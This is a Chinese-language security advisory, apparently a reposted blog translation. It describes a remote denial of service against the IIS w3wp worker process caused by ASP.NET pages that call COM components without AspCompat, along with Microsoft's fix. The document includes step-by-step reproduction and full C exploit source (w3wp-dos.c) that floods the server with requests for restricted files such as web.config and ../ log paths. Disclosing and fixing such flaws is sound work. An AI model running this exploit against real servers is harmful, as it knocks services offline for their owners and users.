w3wp remote DoS due to improper reference of STA COM components in ASP.NET

作者:debasis[AT]hackingspirits.com

厂商:微软公司
MSRC
(微软安全响应中心)事件号:MSRC 6367sd
产品信息:IIS Worker Process (w3wp)

1.    产生背景

去年初期,当我对一些运行着asp.net应用程序的站点进行标准攻击测试的时候,我碰到了预料之外的情况:针对工作进程(w3wp)的一个远程DoS。由于成功的几率是随机的,我并没有怎么在意。但是当我在我的家庭实验室进行更多的测试之后,我能够让w3wp进程崩溃再次发生(接近十分之七的成功几率)。这就是我想调试和更深入研究它的原因。

在与MSRC一起为这个问题奋斗一个多月以后,终于作出了结论:崩溃无法人为发生,并且它是由于对asp.net应用程序中的COM或者COM+的不正确调用造成的。程序开发者经常忘记使用“AspCompat”指示,然而当在asp.net中调用COM组件时这又是需要的。下面的链接提供的是“AspCompat”的适当用法:
http
://msdn2.microsoft.com/en-us/library/zwk9h2kb.aspx
http
://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnbda/html/dbgch04.asp

附加信息可以在下面的链接中找到:
http
://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/SecNetch08.asp
http
://msdn.microsoft.com/library/default.asp?url=/library/enus/
cpguide
/html/cpconCOMComponentCompatibility.asp?frame=true&hidetoc=true
http
://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnaspp/html/monitor_perf.asp

2.    问题描述

缺少“AspCompat”指示会导致网站应用程序的不稳定以及性能上的锐减,仅仅一个简单的网络服务器的负荷增长就能让它崩溃。

如果对服务器上调用COM组件和受限文件(在应用程序目录的路径内部)的某一URL的同时请求数达到了100-300个,那么工作进程就会处理失败或是立即崩溃。URL应该跟下面给出的类似:
http
://<Domain>/asp-app/web.config
http
://<Domain>/asp-app/default.aspx (调用任何COM组件的示例链接)
http
://<Domain>/asp-app/../aspapplogs/log1.log

3.    测试环境

测试已经在如下平台成功:
Windows 2003 (SP1) + IIS 6.0 + .NET Framework 1.1
Windows XP Professional Edition + IIS 6.0 + .NET Framework 1.1

4.    理论依据

a
.    找一些URL,并做成列表形式,它们指向运行着asp.net应用程序的网站服务器上的受限文件,同时那些链接都调用了任何一个COM组件。
例如:
http
://<Domain>/asp-app/web.config
http
://<Domain>/asp-app/user-screen.aspx (链接到COM组件的调用)
http
://<Domain>/asp-app/../aspapplogs/log1.log
[…]

b
.    这个情况可以通过使用一个exploit代码再次发生,也可以通过使用fiddler(一个工具软件)来构造和重现同时的http请求。Exploit代码w3wp-dos.c可以在附录I中找到。记得修改里面的链接为你的asp.net路径和链接。

c
. 假如你想使用fiddler来代替exploit代码,那么就运行fiddler => 转到‘Request Builder’(请求构造)=> 输入前面列表中的任意一个URL,并且设置适当的‘Request Headers
 
(请求头部)。作者强烈推荐使用IE。现在发送连续的GET请求到服务器,保持“Return Key”(返回键)被一直按住,直到那个URL100-300http GET / POST请求。同样地,对列表中的所有URL重复这个过程。截图III-a中可以看到更多的细节:

III-a
 

d.现在试着访问那些调用COM组件的asp.net应用程序的链接。如果攻击成功,w3wp.exe就会产生一个无效的服务并随之崩溃。然后,你就会看见服务器端终止的一个错误消息,类似截图III-b

图III-b

除非网站管理员手工点击任一选项终止工作进程,否则工作进程将不会再处理对应用程序的其他请求。如果管理员选择点击选项,工作进程就会自动重启。假如“取消”按钮被点击,一个类似截图III-c的提示框会突然出现。

III-c

也可以通过事件查看器来查看详细信息,类似图III-d

5.    解决方案(微软公司提供)

ASP
内在对象(像STA COM组件)默认在ASP.NET中没有被激活,线程池默认是一个MTA(multithreaded apartment)。因此,为了有效使用这些默认的COM组件,@page指示符中的如下属性应该被明确地改变:
<%@Page ASPCompat="true" %>

这个指示使ASP.NET提供对ASP内在对象的访问,同时把线程池改为STA。在增加了这个指示之后,问题得到了解决。

附录I

// w3wp-dos.c //
********************************************************************************************************************
#include "stdafx.h"
#pragma comment (lib,"ws2_32")
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
char * pszUnauthLinks(DWORD);
#define portno 80
int main(int argc, CHAR* argv[])
{
char szWorkBuff[100];
DWORD dwCount
= 0, dwCounter;
int iCnt = 0, iCount = 0;
SOCKET conn_socket
;
WSADATA wsaData
;
struct sockaddr_in sin;
struct hostent *phostent;
char *pszTargetHost = new char[MAX_PATH];
UINT uAddr
;
if (argc<2)
{
printf
("============================================/n");
printf
("/t/t w3wp-dos by Debasis Mohanty/n");
printf
("/t/t www.hackingspirits.com/n");
printf
("============================================/n");
printf
("/nUsage: w3wpdos <HostIP / HostName> /n/n");
exit
(0);
}
int iRetval;
if((iRetval = WSAStartup(0x202,&wsaData)) != 0) {
printf
( "WSAStartup failed with error %d/n",iRetval);
WSACleanup(); exit(1); }
// 对提供的参数长度进行检测
if (strlen(argv[1]) > MAX_PATH) {
printf
( "Too long parameter ..../n"); exit(1); }
else
strcpy
(pszTargetHost, argv[1]);
// 解决主机名到IP地址间的转换,反之亦然
if(isalpha(pszTargetHost[0]))
phostent
= gethostbyname(pszTargetHost);
else {
uAddr
= inet_addr(pszTargetHost);
phostent
= gethostbyaddr((char *)&uAddr,4,AF_INET);
if(phostent != NULL)
wsprintf
( pszTargetHost, "[+] %s", phostent->h_name);
else {
printf
( "Failed to resolve IP address, please provide host
name./n"
);
WSACleanup();
exit
(1);
}
}
if (phostent == NULL ) {
printf
("Cannot resolve address [%s]: Error %d/n", pszTargetHost,
WSAGetLastError());
WSACleanup();
printf
( "Target host seems to be down or the program failed to resolve
host name."
);
printf
( "Press enter to exit" );
getchar
();
exit
(1); }
// 初始化Socket信息
memset
(&sin,0,sizeof(sin));
memcpy
(&(sin.sin_addr),phostent->h_addr,phostent->h_length);
sin
.sin_family = phostent->h_addrtype;
sin
.sin_port = htons(portno);
conn_socket
= socket(AF_INET, SOCK_STREAM, 0);
if (conn_socket < 0 ) {
printf
("Error Opening socket: Error %d/n", WSAGetLastError());
WSACleanup();
return -1;}
printf
("============================================/n");
printf
("/t/t w3wp-dos by Debasis Mohanty/n");
printf
("/t/t www.hackingspirits.com/n");
printf
("============================================/n");
printf
("[+] Host name: %s/n", pszTargetHost);
wsprintf
( szWorkBuff, "%u.%u.%u.%u",
sin
.sin_addr.S_un.S_un_b.s_b1,
sin
.sin_addr.S_un.S_un_b.s_b2,
sin
.sin_addr.S_un.S_un_b.s_b3,
sin
.sin_addr.S_un.S_un_b.s_b4 );
printf
("[+] Host IP: %s/n", szWorkBuff);
closesocket
(conn_socket);
printf
("[+] Ready to generate requests/n");
/*计数应由 szBuff array数组中的链接数决定*/
while(dwCount++ < 10)
{
conn_socket
= socket(AF_INET, SOCK_STREAM, 0);
memcpy
(phostent->h_addr, (char *)&sin.sin_addr, phostent-
>h_length);
sin
.sin_family = AF_INET;
sin
.sin_port = htons(portno);
if(connect(conn_socket, (struct sockaddr*)&sin,sizeof(sin))!=0)
perror
("connect");
printf
( "[%i] %s", dwCount, pszUnauthLinks(dwCount));
for(dwCounter=1;dwCounter < 9;dwCounter++)
{
send
(conn_socket,pszUnauthLinks(dwCount),
strlen
(pszUnauthLinks(dwCount)),0);
char *szBuffer = new char[256];
recv
(conn_socket, szBuffer, 256, 0);
printf
(".");
// if( szBuffer != NULL)
// printf("%s", szBuffer);
delete szBuffer;
Sleep(100);
}
printf
("/n");
closesocket
(conn_socket);
}
return 1;
}
char * pszUnauthLinks( DWORD dwIndex )
{
char *szBuff[10];
TCHAR
*szGetReqH = new char[1024];
/*修改你的asp.net链接下面的链接列表,列表应该支持调用任何COM组件的链接,以及其他在asp.net应用程序路径下的受限链接. */
szBuff
[1] = "GET /aspnet-app//web.config";
szBuff
[2] = "GET /aspnet-app//../aspnetlogs//log1.logs";
szBuff
[3] = "GET /aspnet-app//default-userscreen.aspx";
szBuff
[4] = "GET /aspnet-app//users/config.aspx";
szBuff
[5] = "GET /aspnet-app//links/anycomref.aspx"; //
szBuff
[6] = "GET /aspnet-app//com-ref-link1.aspx"; // Links of
pages referring
szBuff
[7] = "GET /aspnet-app//com-ref-link2.aspx"; // COM
components
.
szBuff
[8] = "GET /aspnet-app//com-ref-link3.aspx"; //
szBuff
[9] = "GET /aspnet-app//com-ref-link4.aspx"; //
/* 准备目标链接的GET请求*/
strcpy
(szGetReqH, szBuff[dwIndex]);
strcat
(szGetReqH, " HTTP/1.1/r/n");
strcat
(szGetReqH, "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*/r/n"
);
strcat
(szGetReqH, "Accept-Language: en-us/r/n");
strcat
(szGetReqH, "Accept-Encoding: gzip, deflate/r/n");
strcat
(szGetReqH, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.0; .NET CLR 1.1.4322)/r/n"
);
strcat
(szGetReqH, "Host: /r/n" );
strcat
(szGetReqH, "Connection: Keep-Alive/r/n" );
/* 插入一个有效的Session Cookie和ASPVIEWSTATE以获得更多有效结果*/
strcat
(szGetReqH, "Cookie:
ASP.NET_SessionId=35i2i02dtybpvvjtog4lh0ri;/r/n"
);
strcat
(szGetReqH,
".ASPXAUTH=6DCE135EFC40CAB2A3B839BF21012FC6C619EB88C866A914ED9F49D67B0D01135F74
4632F1CC480589912023FA6D703BF02680BE6D733518A998AD1BE1FCD082F1CBC4DB54870BFE76A
C713AF05B971D/r/n/r/n"
);
//返回szBuff[dwIndex];
return szGetReqH;
}
********************************************************************************************************************

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值